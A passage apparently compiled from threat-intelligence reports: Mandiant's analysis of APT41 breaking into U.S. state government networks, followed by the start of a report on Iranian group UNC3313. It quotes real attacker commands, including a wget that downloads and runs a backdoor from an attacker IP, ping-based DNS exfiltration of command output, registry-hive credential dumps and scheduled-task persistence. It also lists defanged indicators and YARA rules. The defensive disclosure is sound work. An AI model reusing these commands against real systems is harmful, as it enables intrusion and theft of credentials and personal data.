e55514b83135c5804786fa6056c88988ea70e360 95964d669250f0ed161409b93f STEELCORGI 0845835e18a3ed4057498250d30a11b1 c28366c3f29226cb2677d391d41e83f9c690caf7 7d587a5f6f36a74dcfbcbaecb2 STEELCORGI d985de52b69b60aa08893185029bcb31 a3e75e2f700e449ebb62962b28b7c230790dc25d cd06246aff527263e409dd779b TINYSHELL 4ff6647c44b0417c80974b806b1fbcc3 fa36f10407ed5a6858bd1475d88dd35927492f52 55397addbea8e5efb8e6493f3b TINYSHELL 13f6601567523e6a37f131ef2ac4390b 4228d71c042d08840089895bfa6bd594b5299a89 24f459a2752175449939037d6a TINYSHELL 4e9967558cd042cac8b12f378db14259 018bfe5b9f34108424dd63365a14ab005e249fdd 5f46a25473b9dda834519093c6 STEELHOUND a4617c9a4bde94e867f063c28d763766 097d3a15510c48cdb738344bdf00082e546827e8 161a2832baba6ff6f9f1b52ed8 MITRE ATT&CK Discovery: T1016:System Network Configuration Discovery T1018:Remote System Discovery T1049:System Network Connections Discovery T1082:System Information Discovery T1083:File and Directory Discovery T1135:Network Share Discovery Lateral Movement: T1021:Remote Services T1021.004:SSH Credential Access: T1003:OS Credential Dumping T1003.008:/etc/passwd and /etc/shadow T1110:Brute Force T1110.001:Password Guessing T1552:Unsecured Credentials T1552.003:Bash History T1552.004:Private Keys T1556.003:Pluggable Authentication Modules Command and Control: T1090:Proxy T1095:Non-Application Layer Protocol T1105:Ingress Tool Transfer T1572:Protocol Tunneling T1573.001:Symmetric Cryptography Execution: T1053.001:At (Linux) T1059:Command and Scripting Interpreter T1059.004:Unix Shell Collection: T1056.001:Keylogging T1560:Archive Collected Data T1560.001:Archive via Utility T1560.002:Archive via Library Defense Evasion: T1014:Rootkit T1027:Obfuscated Files or Information T1070:Indicator Removal on Host T1070.002:Clear Linux or Mac System Logs T1070.004:File Deletion T1070.006:Timestomp T1140:Deobfuscate/Decode Files or Information T1480.001:Environmental Keying T1548.001:Setuid and Setgid T1620:Reflective Code Loading Persistence: T1543.002:Systemd Service T1547.006:Kernel Modules and Extensions Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments mandiant.com/resources/apt41-us-state-governments UPDATE (Mar. 8): The original post may not have provided full clarity that CVE-2021-44207 (USAHerds) had a patch developed by Acclaim Systems for applicable deployments on or around Nov. 15, 2021. Mandiant cannot speak to the affected builds, deployment, adoption, or other technical factors of this vulnerability patch beyond its availability. In May 2021 Mandiant responded to an APT41 intrusion targeting a United States state government computer network. This was just the beginning of Mandiant s insight into a persistent months-long campaign conducted by APT41 using vulnerable Internet facing web applications as their initial foothold into networks of interest. APT41 is a prolific Chinese state-sponsored espionage group known to target organizations in both the public and private sectors and also conducts financially motivated activity for personal gain. In this blog post, we detail APT41 s persistent effort that allowed them to successfully compromise at least six U.S. state government networks by exploiting vulnerable Internet facing web applications, including using a zero-day vulnerability in the USAHerds application (CVE-202144207) as well as the now infamous zero-day in Log4j (CVE-2021-44228). While the overall goals of APT41's campaign remain unknown, our investigations into each of these intrusions has revealed a variety of new techniques, malware variants, evasion methods, and capabilities. Campaign Overview Although APT41 has historically performed mass scanning and exploitation of vulnerabilities, our investigations into APT41 activity between May 2021 and February 2022 uncovered evidence of a deliberate campaign targeting U.S. state governments. During this timeframe, APT41 successfully compromised at least six U.S. state government networks through the exploitation of vulnerable Internet facing web applications, often written in ASP.NET. In most of the web application compromises, APT41 conducted .NET deserialization attacks; however, we have also observed APT41 exploiting SQL injection and directory traversal vulnerabilities. In the instance where APT41 gained access through a SQL injection vulnerability in a proprietary web application, Mandiant Managed Defense quickly detected and contained the activity; however, two weeks later APT41 re-compromised the network by exploiting a previously unknown zero-day vulnerability in a commercial-off-the-shelf (CoTS) application, USAHerds. In two other instances, Mandiant began an investigation at one state agency only to find that APT41 had also compromised a separate, unrelated agency in the same state. APT41 was also quick to adapt and use publicly disclosed vulnerabilities to gain initial access into target networks, while also maintaining existing operations. On December 10th, 2021, the Apache Foundation released an advisory for a critical remote code execution (RCE) vulnerability in the commonly used logging framework Log4J. Within hours of the advisory, APT41 began exploiting the vulnerability to later compromise at least two U.S. state governments as well as their more traditional targets in the insurance and telecommunications industries. In late February 2022, APT41 re-compromised two previous U.S. state government victims. Our ongoing investigations show the activity closely aligns with APT41's May-December 2021 activity, representing a continuation of their campaign into 2022 and demonstrating their unceasing desire to access state government networks. A timeline of representative intrusions from this campaign can be seen in Figure 1. Figure 1: U.S. state government campaign timeline The goals of this campaign are currently unknown, though Mandiant has observed evidence of APT41 exfiltrating Personal Identifiable Information (PII). Although the victimology and targeting of PII data is consistent with an espionage operation, Mandiant cannot make a definitive assessment at this time given APT41 s history of moonlighting for personal financial gain. Exploitation of Deserialization Vulnerabilities APT41 has primarily used malicious ViewStates to trigger code execution against targeted web applications. Within the ASP.NET framework, ViewState is a method for storing the application s page and control values in HTTP requests to and from the server. The ViewState is sent to the server with each HTTP request as a Base64 encoded string in a hidden form field. The web server decodes the string and applies additional transformations to the string so that it can be unpacked into data structures the server can use. This process is known as deserialization. Insecure deserialization of user-supplied input can result in code execution. ASP.NET has several insecure deserialization providers, including the one used for ViewStates: ObjectStateFormatter. To prevent a threat actor from manipulating the ViewState and taking advantage of the insecure deserialization provider, the ViewState is protected by a Message Authentication Code (MAC). This MAC is a cryptographically signed hash value that the server uses to ensure that the ViewState has not been tampered with, possibly to trigger code execution. The integrity of the ViewState depends on the application s machineKey remaining confidential. The machineKey is stored on the application server in a configuration file named web.config. Figure 2 Sample machineKey attribute from a web.config file A threat actor with knowledge of the machineKey can construct a malicious ViewState and then generate a new and valid MAC that the server accepts. With a valid MAC, the server will then deserialize the malicious ViewState, resulting in the execution of code on the server. Publicly available tools such as YSoSerial.NET exist to construct these malicious ViewStates. This is precisely how APT41 initiated their campaign in May 2021. Proprietary Web Application Targeting In June 2020, one year before APT41 began this campaign, Mandiant investigated an incident where APT41 exploited a directory traversal vulnerability specifically to read the web.config file for a vulnerable web application on a victim web server. APT41 then used the machineKey values from the web.config file to generate a malicious ViewState payload for a deserialization exploit. Mandiant did not identify how APT41 originally obtained the machineKey values for the proprietary application exploited in May 2021 or the USAHerds application, which was first exploited in July 2021. However, it is likely that APT41 obtained the web.config file through similar means. To craft malicious ViewStates, APT41 relied on the publicly available Github project YSoSerial.NET. In order to successfully load arbitrary .NET assemblies into memory, APT41 set the DisableActivitySurrogateSelectorTypeCheck property flag to true within the ConfigurationManager.AppSettings class of the running application via the ViewState payload. APT41 subsequently loaded .NET assemblies into memory using additional YSoSerial payloads configured to write webshells to a hardcoded filepath on disk. Figure 3: Deserialized .NET Assembly (dnSpy) Figure 4 shows an example JScript webshell deployed through a malicious ViewState object by APT41 which utilizes Code Page 936 for the Chinese Simplified keyboard language. Figure 4: Deserialized JScript Webshell For additional information regarding deserialization exploits and our new hunting rule generation tool HeySerial , read our blog post, Now You Serial, Now You Don Systematically Hunting for Deserialization Exploits. USAHerds (CVE-2021-44207) Zero-Day In three investigations from 2021, APT41 exploited a zero-day vulnerability in the USAHerds web application. USAHerds is a CoTS application written in ASP.NET and used by 18 states for animal health management. The vulnerability in USAHerds (CVE-2021-44207) is similar to a previously reported vulnerability in Microsoft Exchange Server (CVE-2020-0688), where the applications used a static validationKey and decryptionKey (collectively known as the machineKey) by default. As a result, all installations of USAHerds shared these values, which is against the best practice of using uniquely generated machineKey values per application instance. Generating unique machineKey values is critical to the security of an ASP.NET web application because the values are used to secure the integrity of the ViewState. Mandiant did not identify how APT41 originally obtained the machineKey values for USAHerds; however, once APT41 obtained the machineKey, they were able to compromise any server on the Internet running USAHerds. As a result, there are potentially additional unknown victims. Log4j (CVE-2021-44228) The most recent APT41 campaign began shortly after the release of CVE-2021-44228 and its related proof-of-concept exploits in December 2021. Exploiting this vulnerability, also known as Log4Shell, causes Java to fetch and deserialize a remote Java object, resulting in potential code execution. Similar to their previous web application targeting, APT41 continued to use YSoSerial generated deserialization payloads to perform reconnaissance and deploy backdoors. Notably, APT41 deployed a new variant of the KEYPLUG backdoor on Linux servers at multiple victims, a malware sub-family we now track as KEYPLUG.LINUX. KEYPLUG is a modular backdoor written in C++ that supports multiple network protocols for command and control (C2) traffic including HTTP, TCP, KCP over UDP, and WSS. APT41 heavily used the Windows version of the KEYPLUG backdoor at state government victims between June 2021 and December 2021, thus the deployment of a ported version of the backdoor closely following the state government campaign was significant. After exploiting Log4Shell, APT41 continued to use deserialization payloads to issue ping commands to domains, a technique APT41 frequently used at government victims months prior. An example ping command is shown in Figure 5. ping -c 1 libxqagv[.]ns[.]dns3[.]cf Figure 5: Ping Command to Attacker Controlled Infrastructure Upon gaining access to a target environment, APT41 performed host and network reconnaissance before deploying KEYPLUG.LINUX to establish a foothold in the environment. Sample commands used to deploy KEYPLUG.LINUX can be seen in Figure 6. wget http://103.224.80[.]44:8080/kernel chmod 777 kernel mv kernel .kernel nohup ./.kernel & Figure 6: Deployment of KEYPLUG.LINUX Following Log4j Exploitation All Killer No Filler Intrusion TTPs The updated tradecraft and new malware continue to show APT41 is a highly adaptable and resourceful actor. In this section, we detail the most pertinent post-compromise techniques. Reconnaissance After gaining initial access to an internet-facing server, APT41 performed extensive reconnaissance and credential harvesting. A common tactic seen is the deployment of a ConfuserEx obfuscated BADPOTATO binary to abuse named pipe impersonation for local NT AUTHORITY\SYSTEM privilege escalation. Once APT41 escalated to NT AUTHORITY\SYSTEM privileges, they copied the local SAM and SYSTEM registry hives to a staging directory for credential harvesting and exfiltration. APT41 has additionally used Mimikatz to execute the lsadump::sam command on the dumped registry hives to obtain locally stored credentials and NTLM hashes. APT41 also conducted Active Directory reconnaissance by uploading the Windows command-line tool dsquery.exe (MD5: 49f1daea8a115dd6fce51a1328d863cf) and its associated module dsquery.dll (MD5: b108b28138b93ec4822e165b82e41c7a) to a staging directory on the compromised server. Figure 7 shows multiple dsquery commands used to enumerate various Active Directory objects within the environment. c:\programdata\dsquery.exe * -filter "(objectCategory=Person)" -attr cn title displayName description department company sAMAccountName mail mobile telephoneNumber whenCreated whenChanged logonCount badPwdCount distinguishedName -L -limit 0 c:\programdata\dsquery.exe * -filter "(objectCategory=Computer)" -attr cn operatingSystem operatingSystemServicePack operatingSystemVersion dNSHostName whenCreated whenChanged lastLogonTimestamp distinguishedName description managedBy mS-DS-CreatorSID -limit 0 c:\programdata\dsquery.exe * -filter "(objectCategory=Computer)" -attr cnservicePrincipalName -L -limit 0 c:\programdata\dsquery.exe * -filter "(objectCategory=Group)" -uc -attr cn sAMAccountName distinguishedName description -limit 0 c:\programdata\dsquery.exe * -filter "(objectClass=organizationalUnit)" -attr ou name whenCreated distinguishedName gPLink -limit 0 Figure 7: dsquery Active Directory Reconnaissance Commands During the early stage of one U.S. state government intrusion, Mandiant identified a new malware family used by APT41 we track as DUSTPAN. DUSTPAN is an in-memory dropper written in C++ that leverages ChaCha20 to decrypt embedded payloads. Different variations of DUSTPAN may also load and execute a payload from a hard-coded filepath encrypted in the binary. DUSTPAN is consistent with the publicly named StealthVector, reported by Trend Micro in August 2021. During the intrusion, DUSTPAN was used to drop a Cobalt Strike BEACON backdoor. Anti-Analysis APT41 continues to leverage advanced malware in their existing toolkit, such as the DEADEYE launcher and LOWKEY backdoor, with added capabilities and anti-analysis techniques to hinder investigations. During a recent intrusion Mandiant identified a new malware variant, DEADEYE.EMBED, contained in an Alternate Data Stream of a local file. DEADEYE.EMBED variants embed the payload inside of the compiled binary rather than appended to the overlay at the end of the file, as seen in DEADEYE.APPEND. APT41 commonly packages their malware with VMProtect to slow reverse engineering efforts. During multiple U.S. state government intrusions, APT41 incorporated another anti-analysis technique by chunking a VMProtect packaged DEADEYE binary into multiple sections on disk. Breaking the binary into multiple files reduces the chance that all samples can be successfully acquired during a forensic investigation. Common file naming conventions used by APT41 when deploying DEADEYE on victim hosts can be seen in Figure 8. Figure 8: DEADEYE Filenames These files would then be combined into a single DLL before execution as seen in Figure 9. "cmd" /c copy /y /b C:\Users\public\syslog_6-*.dat C:\Users\public\syslog.dll Figure 9: DEADEYE Command to concatenate DEADEYE sections In addition to separating their VMProtect packaged malware on disk, APT41 changed the standard VMProtect section names (.vmp) to UPX section names (.upx). By doing so, the malware could evade basic hunting detections that flag binaries packaged with VMProtect. During Log4j exploitation, APT41 similarly chunked a KEYPLUG.LINUX binary into four separate files named xab xac , and . APT41 also packaged the KEYPLUG.LINUX binary with VMProtect and used UPX section names. This technique is very low in prevalence across our malware repository, and even lower in prevalence when searching across ELF files. APT41 also updated the DEADEYE execution guardrail capabilities used during the campaign. Guardrailing is a technique used by malware to ensure that the binary only executes on systems that the threat actor intended. DEADEYE samples from older campaigns used the victim computer s volume serial number but they have since been updated to use the hostname and/or DNS domain during the U.S. state government campaign. To acquire the local computer s hostname and DNS domain, DEADEYE executes the WinAPI functions GetComputerNameA and/or GetComputerNameExA and provides it as input for a generated decryption key. Persistence APT41 continues to leverage advanced tradecraft to remain persistent and undetected. In multiple instances, the Windows version of the KEYPLUG backdoor leveraged dead drop resolvers on two separate tech community forums. The malware fetches its true C2 address from encoded data on a specific forum post. Notably, APT41 continues to update the community forum posts frequently with new dead drop resolvers during the campaign. APT41 has historically used this unique tradecraft during other intrusions to help keep their C2 infrastructure hidden. To persist execution of DEADEYE, APT41 has leveraged the schtasks /change command to modify existing scheduled tasks that run under the context of SYSTEM. APT41 commonly uses the living off the land binary (lolbin) shell32.dll!ShellExec_RunDLLA in scheduled tasks for binary execution, such as the example shown in Figure 10. SCHTASKS /Change /tn "\Microsoft\Windows\PLA\Server Manager Performance Monitor" /TR "C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat" /RL HIGHEST /RU "" /ENABLE Figure 10: Modified Scheduled Task APT41 has leveraged the following Windows scheduled tasks for persistence of DEADEYE droppers in U.S. state government intrusions: \Microsoft\Windows\PLA\Server Manager Performance Monitor \Microsoft\Windows\Ras\ManagerMobility \Microsoft\Windows\WDI\SrvSetupResults \Microsoft\Windows\WDI\USOShared Another technique APT41 used to launch malware is through the addition of a malicious import to the Import Address Table (IAT) of legitimate Windows PE binaries. As a result, once the legitimate binary is executed, it will load the malicious library and call its DllEntryPoint. A modified IAT of a legitimate Microsoft HealthService.exe binary can be seen in Figure 11. Figure 11: Modified IAT (CFF Explorer) APT41 continues to tailor their malware to victim environments through their stealthy passive backdoor LOWKEY.PASSIVE. During one intrusion, APT41 exploited a USAHerds server and subsequently executed DEADEYE.APPEND which dropped LOWKEY.PASSIVE in-memory. The identified LOWKEY.PASSIVE sample listened for incoming connections that request either of the following URL endpoints: http:///USAHerds/Common/%s.css https:///USAHerds/Common/%s.css APT41 frequently configured LOWKEY.PASSIVE URL endpoints to masquerade as normal web application traffic on an infected server. s Always Cloudy in Chengdu Cloudflare Usage APT41 has substantially increased their usage of Cloudflare services for C2 communications and data exfiltration. Specifically, APT41 leveraged Cloudflare Workers to deploy serverless code accessible through the Cloudflare CDN which helps proxy C2 traffic to APT41 operated infrastructure. At multiple victims, APT41 issued ping commands where the output of a reconnaissance command was prepended to subdomains of Cloudflare proxied infrastructure. Once the ping command was executed, the local DNS resolver attempted to resolve the fabricated domain containing the prepended command output. The forward DNS lookup eventually reached the primary domain's Cloudflare name servers, which were unable to resolve an IP address for the fabricated domain. However, the DNS activity logs of the attacker-controlled domain recorded the DNS lookup of the subdomain, allowing the group to collect the reconnaissance command output. Examples of this technique can be seen in Figure 12 to Figure 15. $a=whoami;ping ([System.BitConverter]::ToString([System.Text.Encoding]::UTF8.GetBytes($a)).replace('-','')+"" [.]ns[.]time12[.]cf"") Figure 12: Reconnaissance Exfiltration cmd.exe /c ping %userdomain%[.]ns[.]time12[.]cf Figure 13: Reconnaissance Exfiltration In Figure 14, APT41 issued a command to find the volume serial number of the system, which has historically been used as the decryption key for DEADEYE payloads. ping -n 1 ((cmd /c dir c:\|findstr Number).split()[-1]+'.ns[.]time12[.]cf Figure 14: Volume Serial Number Exfiltration In this last example, the command prints the length of the file syslog_6-1.dat, likely to ensure it has been fully written to disk prior to combining the multiple files into the full malicious executable. ping -n 1 ((ls C:\Users\public\syslog_6-1.dat).Length.ToString()+"".ns[.]time12[.]cf"") Figure 15: File Size Exfiltration APT41 leveraged the aforementioned technique for further data exfiltration by hex encoding PII data and prepending the results as subdomains of the attacker-controlled domain. The resulting DNS lookups triggered by the ping commands would be recorded in the activity logs and available to APT41. APT41 s continued usage of Cloudflare services is further exemplified in recently developed KEYPLUG samples. Mandiant identified a unique capability added to KEYPLUG that leverages the WebSocket over TLS (WSS) protocol for C2 communication. According to Cloudflare, WebSocket traffic can be established through the Cloudflare CDN edge servers, which will proxy data through to the specified origin server. KEYPLUG includes a hardcoded one-byte XOR encoded configuration file that lists the specific communication protocol, servers, and additional settings. After KEYPLUG decodes the hardcoded configuration file at runtime, it will parse the configuration to determine the appropriate network protocol and servers to use for command and control. After the configuration is parsed, KEYPLUG randomly chooses a CIDR block from the list then randomly chooses an IP address within the CIDR block based on the current tick count of the infected computer. Figure 16 details an example configuration file identified during a recent U.S. state government intrusion. WSS://104.24.0.0/14;103.22.200.0/22;103.21.244.0/22:443|7600|5|1|afdentry.workstation.eu.org:443 Figure 16: KEYPLUG Configuration The CIDR blocks listed in Figure 16 are Cloudflare CDN associated infrastructure that will redirect the WSS connection to the malicious domain afdentry[.]workstation[.]eu[.]org. Figure 17 is an example HTTP request sent by KEYPLUG to initiate and upgrade to the WSS protocol using Cloudflare infrastructure. Figure 17: KEYPLUG HTTP Upgrade Request We notified Cloudflare of this malicious activity and they took prompt action to disrupt communications to the malicious infrastructure. APT41 s increased usage of Cloudflare services indicates a desire to leverage Cloudflare s flexibility and deter identification and blocking of their true C2 servers. Outlook APT41's recent activity against U.S. state governments consists of significant new capabilities, from new attack vectors to post-compromise tools and techniques. APT41 can quickly adapt their initial access techniques by re-compromising an environment through a different vector, or by rapidly operationalizing a fresh vulnerability. The group also demonstrates a willingness to retool and deploy capabilities through new attack vectors as opposed to holding onto them for future use. APT41 exploiting Log4J in close proximity to the USAHerds campaign showed the group s flexibility to continue targeting U.S state governments through both cultivated and co-opted attack vectors. Through all the new, some things remain unchanged: APT41 continues to be undeterred by the U.S. Department of Justice (DOJ) indictment in September 2020. Indicators Malware Family SHA1 SHA256 KEYPLUG.LINUX 900ca3ee85dfc109baeed4888ccb5d39 355b3ff61db44d18003537be8496eb03536e300f e024ccc4c72eb5813cc2b6db7 KEYPLUG.LINUX b82456963d04f44e83442b6393face47 996aa691bbc1250b571a2f5423a5d5e2da8317e6 d7e8cc6c19ceebf0e125c9f18b DSQUERY 49f1daea8a115dd6fce51a1328d863cf e85427af661fe5e853c8c9398dc46ddde50e2241 ebf28e56ae5873102b51da2cc DSQUERY b108b28138b93ec4822e165b82e41c7a 7056b044f97e3e349e3e0183311bb44b0bc3464f 062a7399100454c7a523a9382 BADPOTATO 143278845a3f5276a1dd5860e7488313 6f6b51e6c88e5252a2a117ca1cfb57934930166b a4647fcb35c79f26354c34452e Context Indicator(s) U.S. State Government Campaign USAHerds (CVE-2021-44207) Exploitation 194[.]195[.]125[.]121 194[.]156[.]98[.]12 54[.]248[.]110[.]45 45[.]153[.]231[.]31 185[.]118[.]167[.]40 104[.]18[.]6[.]251 104[.]18[.]7[.]251 20[.]121[.]42[.]11 34[.]139[.]13[.]46 54[.]80[.]67[.]241 149[.]28[.]15[.]152 18[.]118[.]56[.]237 107[.]172[.]210[.]69 172[.]104[.]206[.]48 67[.]205[.]132[.]162 45[.]84[.]1[.]181 cdn[.]ns[.]time12[.]cf east[.]winsproxy[.]com afdentry[.]workstation[.]eu[.]org ns1[.]entrydns[.]eu[.]org subnet[.]milli-seconds[.]com work[.]viewdns[.]ml work[.]queryip[.]cf Log4j (CVE-2021-44228) Exploitation 103[.]238[.]225[.]37 182[.]239[.]92[.]31 microsoftfile[.]com down-flash[.]com libxqagv[.]ns[.]dns3[.]cf Detections rule M_APT_Backdoor_KEYPLUG_MultiXOR_Config meta: author = "Mandiant" description = "Matches KEYPLUG XOR-encoded configurations. Locates multiple values of: TCP://, UDP://, WSS://, +http and their pipe-deliminated variant: |TCP://, |UDP://, |WSS://, |+http. Requires at least one instance of 00| in the encoded configuration which corresponds to the sleep value. Removed instances where double-NULLs were present in the generated strings to reduce false positives." strings: // TCP $tcp1 = "TCP://" xor(0x01-0x2E) $tcp2 = "TCP://" xor(0x30-0xFF) $ptcp1 = "|TCP://" xor(0x01-0x2E) $ptcp2 = "|TCP://" xor(0x30-0xFF) // UDP $udp1 = "UDP://" xor(0x01-0x2E) $udp2 = "UDP://" xor(0x30-0xFF) $pudp1 = "|UDP://" xor(0x01-0x2E) $pudp2 = "|UDP://" xor(0x30-0xFF) // WSS $wss1 = "WSS://" xor(0x01-0x2E) $wss2 = "WSS://" xor(0x30-0x52) $wss3 = "WSS://" xor(0x54-0xFF) $pwss1 = "|WSS://" xor(0x01-0x2E) $pwss2 = "|WSS://" xor(0x30-0x52) $pwss3 = "|WSS://" xor(0x54-0xFF) // HTTP $http1 = "+http" xor(0x01-0x73) $http2 = "+http" xor(0x75-0xFF) $phttp1 = "|+http" xor(0x01-0x73) $phttp2 = "|+http" xor(0x75-0xFF) // Sleep value $zeros1 = "00|" xor(0x01-0x2F) $zeros2 = "00|" xor(0x31-0xFF) condition: filesize < 10MB and (uint32(0) == 0x464c457f or (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550)) and for any of ($tcp*,$udp*,$wss*,$http*): (# == 2 and @[2] - @[1] < 200) and for any of ($ptcp*,$pudp*,$pwss*,$phttp*): (# == 1) and any of ($zeros*) rule M_Hunting_MSIL_BADPOTATO meta: author = "Mandiant" description = "Hunting for BADPOTATO samples based on default strings found on the PE VERSIONINFO resource." strings: $dotnetdll = "\x00_CorDllMain\x00" $dotnetexe = "\x00_CorExeMain\x00" $s1 = { 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 } $s2 = { 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 2E 00 65 00 78 00 65 00 } $s3 = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 2E 00 65 00 78 00 65 00 } $s4 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 } condition: (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and 1 of ($dotnet*) and 1 of ($s*) Acknowledgements We would like to thank our incident response consultants, Managed Defense responders, and FLARE reverse engineers who enable this research. In addition, we would like to thank Alyssa Rahman, Dan Perez, Ervin Ocampo, Blaine Stancill, and Nick Richard for their technical reviews. Left On Read: Telegram Malware Spotted in Latest Iranian Cyber Espionage Activity mandiant.com/resources/telegram-malware-iranian-espionage In November 2021, Mandiant Managed Defense detected and responded to an UNC3313 intrusion at a Middle East government customer. During the investigation, Mandiant identified new targeted malware, GRAMDOOR and STARWHALE, which implement simple backdoor functionalities. We also identified UNC3313 use publicly available remote access software to maintain access to the environment. UNC3313 initially gained access to this organization through a targeted phishing email and leveraged modified, opensource offensive security tools to identify accessible systems and move laterally. UNC3313 moved rapidly to establish remote access by using ScreenConnect to infiltrate systems within an hour of initial compromise. Through the rapid coordination of Mandiant Managed Defense and our customer s security team, the incident was quickly contained and remediated. Mandiant assesses with moderate confidence that UNC3313 conducts surveillance and collects strategic information to support Iranian interests and decision-making. Targeting patterns and related lures demonstrate a strong focus on targets with a geopolitical nexus. This blog post covers the details of an intrusion conducted by UNC3313, along with malware and publicly available tools that were identified during our investigation. Attribution Mandiant uses the label groups uncategorized groups to refer to a cluster of intrusion activity that includes observable artifacts such as adversary infrastructure, tools, and tradecraft that we are not yet ready to give a classification such as TEMP, APT, or FIN (learn more about how Mandiant tracks uncategorized threat actors). Mandiant assesses with moderate confidence that UNC3313 is associated with TEMP.Zagros (reported in open sources as MuddyWater), an Iran-nexus threat actor active since at least May 2017, based on currently available information. TEMP.Zagros has consistently updated their toolkit over the years, using malware such as POWERSTATS, POWGOOP, and MORIAGENT in spear-phishing operations. The group s use of ScreenConnect for initial compromise is well documented in open sources. Notably, on January 12, 2022, the U.S. government publicly stated it considers TEMP.Zagros as subordinate to the Iranian Ministry of Intelligence and Security (MOIS) and disclosed samples of malware families (POWGOOP and MORIAGENT) in use by the group since at least 2020. Targeting In the second half of 2021, Mandiant identified an UNC3313 campaign using GRAMDOOR and STARWHALE to target Middle Eastern government and technology entities. TEMP.Zagros has historically targeted these regions and sectors throughout the Middle East and Central and South Asia, including government, defense, telecommunications, energy, and finance. Targeting patterns and related lures demonstrate a strong focus on targets with a geopolitical nexus and the telecommunications sector in the Middle East. Malware Observed Mandiant observed UNC3313 deploy the following malware families. 1/19 Malware Family Description GRAMDOOR GRAMDOOR is a backdoor written in Python that uses the Telegram Bot API to communicate over HTTP with the Telegram server. Supported commands include command execution via cmd.exe. STARWHALE STARWHALE is a Windows Script File (WSF) backdoor that communicates via HTTP. Supported commands include shell command execution and system information collection. STARWHALE.GO STARWHALE.GO is a backdoor written in GO programming language that communicates via HTTP. The backdoor can execute shell commands and collect system information, such as local IP address, computer name, and username. CRACKMAPEXEC CRACKMAPEXEC is a post-exploitation tool that helps automate assessing the security of large Active Directory networks. Table 1: UNC3313 Malware Families Outlook and Implications The use of the Telegram API for command and control allows for malicious traffic to blend in with legitimate user behavior. Combined with the use of legitimate remote access software, publicly available tools such as LIGOLO and CrackMapExec, and the multi-layer encoding routine, Mandiant believes this reflects TEMP.Zagros' efforts to evade detection and security features. Meanwhile, it is unclear how the U.S. government's recent public attribution of "MuddyWater" to the Iranian Ministry of Intelligence and Security will affect the group's operations. It is plausible the group may re-tool and shift their tactics, techniques, and procedures prior to conducting additional operations. UNC3313 Attack Lifecycle Establish Foothold UNC3313 initially gained access to the customer s environment through a spear-phishing attack that compromised multiple systems. Phishing emails were crafted with a job promotion lure and tricked multiple victims to click a URL to download a RAR archive file hosted at the cloud storage service OneHub. This pattern is consistent with observations in open-source reporting by Anomali and Trend Micro. The RAR archives contained a Windows Installer .msi file that installed ScreenConnect remote access software to establish a foothold. Figure 1 shows a Windows Installer transaction event recorded in the Windows Application logs for the execution of performance.msi. 2/19 Log: Application Source: MsiInstaller EID: 1040 Message: Beginning a Windows Installer transaction: C:\Users\ \AppData\Local\Temp\Rar$EXb7468.17680\performance.msi-++-748-++-(NULL)-++-(NULL)++-(NULL)-++-(NULL)-++--++-. Client Process Id: 0. Figure 1: Windows Installer transaction event for performance.msi As mentioned, UNC3313 moved rapidly to establish remote access through ScreenConnect to infiltrate systems within an hour of initial compromise. ScreenConnect provides the capability to issue single CLI commands to the client or to open a full terminal using Backstage Mode. Mandiant observed command execution using cmd.exe and powershell.exe by the parent process ScreenConnect.ClientService.exe. Log: Application Source: ScreenConnect Client (f494f7a48b0cd497) EID: 0 Message: Cloud Account Administrator Connected-++Log: Application Source: ScreenConnect Client (f494f7a48b0cd497) EID: 0 Message: Cloud Account Administrator Disconnected-++Log: Application Source: ScreenConnect Client (f494f7a48b0cd497) EID: 0 Message: Executed command of length: 13-++Figure 2: ScreenConnect client connection and command execution event logs When actively running, the ScreenConnect.ClientService.exe process performed DNS lookups for a ScreenConnect relay service at instance-<6 character alphanumeric id>-relay.screenconnect.com. Mandiant observed the process ScreenConnect.WindowsClient.exe write additional attacker tools to the initially compromised hosts, indicating the files were copied through the active ScreenConnect session. 3/19 File Write Event Full Path: C:\ProgramData\ligo64.exe Size: 3474432 MD5: 7fefce7f2e4088ce396fd146a7951871 Process: ScreenConnect.WindowsClient.exe Process Path: C:\Program Files (x86)\ScreenConnect Client (f494f7a48b0cd497) Parent Process Path: C:\Program Files (x86)\ScreenConnect Client (f494f7a48b0cd497)\ScreenConnect.ClientService.exe Figure 3: File write event by the ScreenConnect Windows Client process Escalate Privileges Mandiant observed UNC3313 use common credential-dumping techniques using legitimate Windows utilities. UNC3313 leveraged the open-source WMIEXEC.PY attack framework to execute reg commands to export copies of the local SAM, SYSTEM, and SECURITY Windows registry hives. WMIEXEC.PY enables simple command invocation on a remote system (with admin rights and DCOM ports accessible on target system) via WMI (Windows Management Instrumentation). cmd.exe /Q /c reg save HKLM\SAM C:\users\public\sam 1> \\127.0.0.1\ADMIN$\__1637143994.2306612 2>&1 cmd.exe /Q /c reg save HKLM\SYSTEM C:\users\public\system 1> \\127.0.0.1\ADMIN$\__1637143994.2306612 2>&1 cmd.exe /Q /c reg save HKLM\SECURITY C:\users\public\security 1> \\127.0.0.1\ADMIN$\__1637143994.2306612 2>&1 Figure 4: Suspicious Registry exports executed by WMIEXEC.PY UNC3313 used the Task Manager application to dump the process memory of lsass.exe, as shown in Figure 5 when the process Taskmgr.exe wrote the file lsass.dmp. File Write Event Full Path: C:\Users\\AppData\Local\Temp\2\lsass.DMP Size: 59378917 Process: Taskmgr.exe Process Path: C:\Windows\System32 Parent Process Path: C:\Windows\explorer.exe Figure 5: Task Manager Dump of LSASS.EXE Internal Reconnaissance and Lateral Movement 4/19 Mandiant observed UNC3313 leverage publicly available offensive security tools to accomplish remote command execution, internal reconnaissance, network tunneling, and lateral movement. UNC3313 used a slightly modified version of the open-source pen-testing tool CrackMapExec v3.0 